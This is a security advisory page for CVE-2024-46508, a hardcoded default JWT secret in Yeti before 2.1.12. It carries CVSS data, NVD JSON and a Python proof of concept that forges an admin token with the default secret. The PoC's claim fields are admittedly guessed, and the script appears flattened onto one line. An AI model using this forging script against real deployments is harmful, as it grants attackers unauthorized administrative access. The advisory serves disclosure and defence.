Security Vulnerability Report
中文
CVE-2024-46508 CVSS 7.5 HIGH

CVE-2024-46508

Published: 2026-05-08 06:16:10
Last Modified: 2026-05-08 19:58:25

Description

yeti-platform yeti before 2.1.12 allows attackers to generate valid JWT tokens is the secret is not changed (by setting YETI_AUTH_SECRET_KEY to a value other than SECRET).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:yeti-platform:yeti:*:*:*:*:*:*:*:* - VULNERABLE
yeti-platform < 2.1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import datetime def generate_admin_token(): # The default hardcoded secret key in vulnerable Yeti versions DEFAULT_SECRET = "SECRET" # Construct a payload with admin privileges payload = { "sub": "admin", # Subject (User ID) "role": "admin", # Admin role "iat": datetime.datetime.utcnow(), # Issued at "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1) # Expiration } # Encode the payload using the default secret # HS256 is the typical algorithm for this kind of setup token = jwt.encode(payload, DEFAULT_SECRET, algorithm="HS256") return token if __name__ == "__main__": print("[+] Generating forged JWT token...") forged_token = generate_admin_token() print(f"[+] Forged Token: {forged_token}") print("[+] Use this token in the Authorization header (Bearer <token>)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46508", "sourceIdentifier": "[email protected]", "published": "2026-05-08T06:16:09.963", "lastModified": "2026-05-08T19:58:25.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "yeti-platform yeti before 2.1.12 allows attackers to generate valid JWT tokens is the secret is not changed (by setting YETI_AUTH_SECRET_KEY to a value other than SECRET)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yeti-platform:yeti:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0", "versionEndExcluding": "2.1.12", "matchCriteriaId": "3752433F-DA7B-4388-89D3-472FB0B67282"}]}]}], "references": [{"url": "https://rhinosecuritylabs.com/research/cve-2024-46507-yeti-server-side-template-injection-ssti/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46507", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}